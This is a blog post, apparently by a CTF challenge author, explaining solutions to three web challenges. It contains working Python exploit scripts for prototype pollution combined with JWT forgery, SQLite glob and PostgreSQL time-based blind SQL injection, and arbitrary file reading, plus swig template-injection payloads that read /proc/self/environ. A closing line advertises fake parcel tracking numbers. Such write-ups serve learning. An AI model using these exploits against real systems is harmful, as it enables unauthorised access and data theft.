Author:颖奇L’Amore
Blog:www.gem-love.com
有幸能为本次比赛出题,就是题出的比较垃圾,每道题都有非预期,在这里先给各位谢罪了。详细的解法我已经写到官方Writeup了,请各位关注。以下是我出的3个题目的预期&已知非预期(不是官方wp),如果看到其他非预期,会更新过来。
有其他解法欢迎评论区告知我!
快乐圣诞cei叮壳
考点- 条件竞争
- 原型链污染
- jwt爆破+伪造
- sqlite注入
这题思路很常规,所以其实也不太难,1个小时就被秒了
首先是原型链污染,因为session有hasOwnProperty()
验证,尽管可以随意污染player
对象,但是无法直接merge到session上
我们先来捋一下代码的逻辑:
- 提交信息到/路由,将提交的内容存入player,之后设置cookie和jwt
- 跳转到/start 将player中的内容存入session,这里session用了
hasOwnProperty()
方法防止污染 - 清空player之后开始游戏。如果session的won>100且santa<=5就可以胜利了
大致污染思路如下:
- 先post到/路由,这是注册,这样就有了session和jwt了,但是不follow最后的
res.redirect()
跳转 - post到/start路由,这是在猜拳,session被加上了won属性
- get访问/start路由,player被遍历赋值给session,
hasOwnProperty()
不会拦截对won的merge,session的won被污染
原型链污染的exp大致这样(等下会发完整版的exp)
def pollution():
s = req.session()
# 先提交并污染
res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False)
# 给session加上won属性
s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False)
# 去污染session
s.get(url=url+"start")
# # 去验证是否污染成功
res2 = s.post(url=url+"start", json={}, allow_redirects=False)
return req.utils.dict_from_cookiejar(res1.cookies)["game"]
然后jwt的secret叫做env.parsed.rockyou
,首先纵览所有代码,jwt的secret不可能被泄露,基本上是要爆破jwt,然后最后有sql的waf暗示可以被注入,这里的rockyou又与著名的rockyou.txt(kali自带了)字典同名
所以还好了因为都告诉用什么字典了,直接找个工具或者自己写脚本跑一下可以得到jwt的secret为fuckoff123
最后的sqlite,因为><=
什么的被过滤了,可以利用glob
注入,exp如下:
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import json
import string
import requests as req
import sys
import jwt
url = "http://y1ng.vip:50001/"
def pollution():
s = req.session()
# 先提交并污染
res1 = s.post(url=url+"" ,json={"__proto__" : {"won" : 101}}, allow_redirects=False)
# 给session加上won属性
s.post(url=url+"start" ,json={"santa" : "1", "player" : "2"}, allow_redirects=False)
# 去污染session
s.get(url=url+"start")
# # 去验证是否污染成功
res2 = s.post(url=url+"start", json={}, allow_redirects=False)
return req.utils.dict_from_cookiejar(res1.cookies)["game"]
def gJWT(payload):
data = {
"id" : payload,
"is_win" : "true"
}
token = jwt.encode(data, "fuckoff123", algorithm="HS256").decode('ascii')
return token
def text2char(s):
res = ''
for i in s:
res += "%d," % ord(i)
return f"char({res[:-1]})"
def main():
result = ''
alpa = "}{_.@][$%^&!#)-(, \n" + string.digits + string.ascii_letters
sess = pollution()
subquery = f"select group_concat(name) from sqlite_master where type glob {text2char('table')} order by name limit 0,1" #AWARD,SECRET
subquery = f"SELECT group_concat(sql) FROM sqlite_master WHERE tbl_name glob {text2char('SECRET')} AND type glob {text2char('table')}" #CREATE TABLE SECRET(ID INT NOT NULL, fl4ggg TEXT PRIMARY KEY NOT NULL)
subquery = "select group_concat(fl4ggg) from SECRET" #flag{f7f0f684-0abf-ffe1-c561-a186d17a0b1d}
failed = 0
for postion in range(1,100):
for i in alpa:
sql = f'''1 and (case when (substr(({subquery}),{postion},1) glob char({ord(i)})) then char(97) else char(98) end) glob char(97);--'''
token = gJWT(sql)
headers = {
"cookie" : f"game={sess}; token={token}"
}
r = req.get(url=url+'award', headers=headers)
if "Turkey" in r.text:
result += i
print(result)
break
if i == alpa[-1:] :
failed += 1
if failed >= 5:
print("[+] 注入完成")
exit(0)
if __name__ == '__main__':
main()
非预期非预期主要出在了sqlite注入上,实际上完全没有用GLOB
这么复杂,直接in
注入即可(一血队伍AheadSec的解法),payload和mysql没什么区别。
你能登陆成功吗
预期解主要的考点就是PostgreSQL的时间盲注,注出密码即可。上revenge是因为最开始忘记删了一个sql语句的输出,导致可以布尔注入,不过大部分选手基本还是时间盲注exp打2道题。我的锅我的锅
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import sys
import time as t
import string as s
import requests as req
url= "http://127.0.0.1:2333/"
res = ''
for i in range(1,50):
for char in s.ascii_letters + s.digits:
payload = f"""0'and(select/**/case/**/when(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),{i},1)='{char}')then(select/**/'roarctf'/**/from/**/pg_sleep(3))else/**/'1'/**/end)='roarctf'--"""
data = {
'username' : 'admin',
'password' : payload,
}
try:
start = int(t.time())
r = req.post(url=url, data=data)
time = int(t.time()) - start
if time >= 2.5:
res += char
print(res)
break
except Exception as e:
print(e)
pass
if char == s.digits[-1:]:
print("sqli finished: "+res)
exit(0)
非预期:- 直接
pg_sleep(5)::VARCHAR
即可将其转为字符,payload将大大简化 - 利用
||
连接字符串的特性,也可以直接延时,参考Nu1L的wp - 还有人是直接sqlmap做的….
HTML在线代码编辑器
考点:- nodejs黑盒测试
- 任意文件读取+代码审计
- swig模板注入与过滤器应用
题目可以查看一个HTML代码示例,点一下就会填充出来一些代码,通过了html源代码发现它实际上调用了一个叫get_source_code()
的函数
跟进到type/html_editor.js:
function get_source_code() {
$.ajax({
type:'post',
url:'/view',
data:JSON.stringify({
"file" : "ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html",
"time" : Math.ceil(new Date().getTime() / 1000)
}),
contentType: "application/json",
success: function (data) {
var dv = document.getElementById("Ym9iYmF0ZWEh");
var spn = document.createElement("pre");
spn.innerText = data;
dv.append(spn);
}
})
}
function jmp() {
window.open("/view?file=ba1f2511fc30423bdbb183fe33f3dd0f_admin_999999999.html")
}
function goto_ide() {
location.href = "/htmlide"
}
可以看到实际上是ajax向/view来POST请求的,并且参数是文件名和一个时间戳。写个脚本autofix一下这个time参数
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import time
import sys
import requests as req
def post(file):
url = "http://127.0.0.1:2333/view"
headers = {
"Cookie" : "session=s%3A8SatsrypaIW7GWzOSUsKKsQVBMbbfKsu.ajqfsgWXaOr8DT77wUGH4tgQDVIh6PBb6%2BMucxG2a6Q"
}
data = {
"file" : file ,
"time" : str(int(time.time()))
}
print(req.post(url=url, data=data, headers=headers).text)
post(sys.argv[1])
这样就可以任意文件读取了
分析代码可知swig模板,然后环境变量被渲染进了模板,对for
和loop
进行了过滤。
查询swig模板中文文档https://myvin.github.io/swig.zh-CN/docs/ 有直接把对象全部打出来的方法。两种payload:
{{values|join(', ')}}
{{values|json()}}
非预期基本没有几个队读了源码,因为可以很直觉的想到SSTI,然后输入一些能让模板报错的模板语法,渲染模板就会报错,报错信息中可知是swig模板,然后{{process.env|json()}}
得知swig模板后,还可以利用模板引入或者模板扩展来读文件,因为题目告诉了flag在环境变量,于是直接读环境变量
{% include '/proc/self/environ' %}
{% extends '/proc/self/environ' %}
本就很垃圾的题目变得更加弱智了….
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/ctf/2702.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示
空包快递单号网站 空包购买网站www.chaojidanhao.cn